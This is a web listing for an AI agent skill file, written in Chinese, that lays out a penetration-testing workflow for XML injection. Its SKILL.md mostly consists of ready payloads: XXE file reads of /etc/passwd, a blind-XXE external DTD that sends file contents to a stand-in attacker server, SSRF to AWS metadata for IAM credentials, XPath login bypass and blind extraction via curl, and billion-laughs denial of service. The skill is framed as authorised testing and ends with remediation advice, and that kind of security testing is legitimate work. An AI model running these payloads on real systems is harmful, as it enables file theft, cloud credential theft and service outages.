testing-for-xml-injection-vulnerabilities
测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。
Best use case
testing-for-xml-injection-vulnerabilities is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。
Teams using testing-for-xml-injection-vulnerabilities should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/testing-for-xml-injection-vulnerabilities/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How testing-for-xml-injection-vulnerabilities Compares
| Feature / Agent | testing-for-xml-injection-vulnerabilities | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 测试 XML 注入漏洞 ## 适用场景 - 测试处理 XML 输入的应用程序(SOAP API、XML-RPC、文件上传)时 - 对包含 XML 解析器的应用程序进行渗透测试时 - 评估基于 SAML 的认证实现时 - 测试处理 XML 格式的文件导入/导出功能时 - 对 SOAP 或基于 XML 的 Web 服务进行 API 安全测试时 ## 前置条件 - 安装了 XML 相关扩展的 Burp Suite(Content Type Converter、XXE Scanner) - XMLLint 或类似的 XML 验证工具 - 了解 XML 结构、DTD(文档类型定义)和实体处理 - 安装了 lxml 和 requests 库的 Python 3.x - 可访问的带外交互服务器(Burp Collaborator、interact.sh) - 来自 PayloadsAllTheThings 仓库的 XXE Payload 样本 ## 工作流程 ### 步骤 1 — 识别 XML 处理端点 ```bash # 查找接受 XML Content-Type 的端点 # Content-Type: application/xml, text/xml, application/soap+xml # 检查 SOAP 服务的 WSDL 文件 curl -s http://target.com/service?wsdl # 通过更改 Content-Type 测试端点是否接受 XML curl -X POST http://target.com/api/data \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0"?><root><test>hello</test></root>' # 检查 XML 文件上传功能 # 寻找 .xml、.svg、.xlsx、.docx 文件处理功能 ``` ### 步骤 2 — 测试基本 XXE(文件读取) ```xml <!-- 基本 XXE 读取本地文件 --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root><data>&xxe;</data></root> <!-- Windows 文件读取 --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <root><data>&xxe;</data></root> <!-- 使用 PHP wrapper 获取 base64 编码的文件内容 --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <root><data>&xxe;</data></root> ``` ### 步骤 3 — 测试带外检测的盲 XXE ```xml <!-- 使用外部 DTD 的带外 XXE --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd"> %xxe; ]> <root><data>test</data></root> <!-- 托管在攻击者服务器上的外部 DTD 文件(xxe.dtd) --> <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker-server.com/?data=%file;'>"> %eval; %exfil; <!-- 基于 DNS 的带外检测 --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net"> ]> <root><data>&xxe;</data></root> ``` ### 步骤 4 — 通过 XXE 测试 SSRF ```xml <!-- 通过 XXE 进行内网扫描 --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]> <root><data>&xxe;</data></root> <!-- 访问 AWS 元数据端点 --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]> <root><data>&xxe;</data></root> <!-- 内网端口扫描 --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-server:8080/"> ]> <root><data>&xxe;</data></root> ``` ### 步骤 5 — 测试 XPath 注入 ```bash # 在搜索参数中进行基本 XPath 注入 curl "http://target.com/search?query=' or '1'='1" # XPath 认证绕过 curl -X POST http://target.com/login \ -d "username=' or '1'='1&password=' or '1'='1" # XPath 数据提取 curl "http://target.com/search?query=' or 1=1 or ''='" # 基于布尔值的盲 XPath 注入提取 curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='" curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='" ``` ### 步骤 6 — 测试 XML 十亿笑(DoS) ```xml <!-- 十亿笑攻击(仅在授权测试中使用) --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> ]> <root><data>&lol4;</data></root> <!-- 二次方膨胀攻击 --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"> ]> <root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root> ``` ## 核心概念 | 概念 | 描述 | |------|------| | XXE(XML 外部实体) | 利用处理外部实体引用的 XML 解析器的攻击方式 | | 盲 XXE(Blind XXE) | 响应中不反射结果的 XXE 攻击,需要使用带外通道 | | XPath 注入(XPath Injection) | 向用于导航 XML 文档的 XPath 查询中注入恶意代码 | | DTD(文档类型定义) | 定义 XML 文档结构和实体的声明 | | 参数实体(Parameter Entities) | DTD 中使用的特殊实体(%),用于盲 XXE 利用 | | 通过 XXE 的 SSRF | 利用 XXE 向内部资源发起服务器端请求 | | XML 炸弹(XML Bomb) | 通过递归实体扩展造成的拒绝服务攻击(十亿笑) | ## 工具与系统 | 工具 | 用途 | |------|------| | Burp Suite | 带 XXE Scanner 扩展的 HTTP 代理,用于自动检测 | | XXEinjector | 自动化 XXE 注入和数据外泄工具 | | OXML_XXE | 在 Office XML 文档中嵌入 XXE Payload 的工具 | | xmllint | 用于 Payload 测试的 XML 验证和解析工具 | | interact.sh | 用于盲 XXE 检测的带外交互服务器 | | Content Type Converter | Burp 扩展,将 JSON 请求转换为 XML 用于 XXE 测试 | ## 常见场景 1. **文件泄露** — 通过 XML 输入字段中的经典 XXE 实体注入,读取敏感服务器文件(/etc/passwd、web.config) 2. **SSRF 到云元数据** — 通过 XXE 访问 AWS/GCP/Azure 元数据端点以窃取 IAM 凭证和访问令牌 3. **盲数据外泄** — 当 XXE 输出不在响应中反射时,通过带外 DNS/HTTP 通道提取敏感数据 4. **SAML XXE** — 在单点登录(SSO)认证流程中向 SAML 断言注入 XXE Payload 5. **SVG 文件上传 XXE** — 上传包含 XXE Payload 的恶意 SVG 文件,触发服务器端 XML 解析 ## 输出格式 ``` ## XML 注入评估报告 - **目标**: http://target.com/api/xml-endpoint - **发现的漏洞类型**: XXE、盲 XXE、XPath 注入 - **严重级别**: 严重 ### 发现 | # | 类型 | 端点 | Payload | 影响 | |---|------|------|---------|------| | 1 | XXE 文件读取 | POST /api/import | SYSTEM "file:///etc/passwd" | 本地文件泄露 | | 2 | 盲 XXE | POST /api/upload | 带 OOB 的外部 DTD | 数据外泄 | | 3 | 通过 XXE 的 SSRF | POST /api/parse | SYSTEM "http://169.254.169.254/" | 云凭证窃取 | ### 修复建议 - 在 XML 解析器配置中禁用外部实体处理 - 在可能的情况下使用 JSON 替代 XML - 使用带严格 DTD 限制的 XML Schema 验证 - 阻止来自 XML 处理服务的出站连接 ```
Related Skills
triaging-vulnerabilities-with-ssvc-framework
使用 CISA 的利益相关方特定漏洞分类(SSVC)决策树框架对漏洞进行分类和优先排序,产出可操作的修复优先级:Track、Track*、Attend 或 Act。
testing-websocket-api-security
测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。
testing-oauth2-implementation-flaws
测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。
testing-mobile-api-authentication
测试移动应用 API 的认证与授权机制,识别认证失效、不安全的令牌管理、会话固定、 权限提升和 IDOR 漏洞。适用于对移动应用后端进行 API 安全评估、测试 JWT 实现、 评估 OAuth 流程或评估会话管理的场景。适合涉及移动 API 认证测试、令牌安全评估、 OAuth 移动端流程测试或 API 授权绕过的相关请求。
testing-jwt-token-security
在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。
testing-for-xxe-injection-vulnerabilities
在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。
testing-for-xss-vulnerabilities
通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。
testing-for-xss-vulnerabilities-with-burpsuite
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
testing-for-sensitive-data-exposure
在安全评估中识别敏感数据暴露漏洞,包括 API 密钥泄露、响应中的 PII、不安全存储以及未受保护的数据传输。
testing-for-open-redirect-vulnerabilities
通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。
testing-for-json-web-token-vulnerabilities
测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。
testing-for-host-header-injection
测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。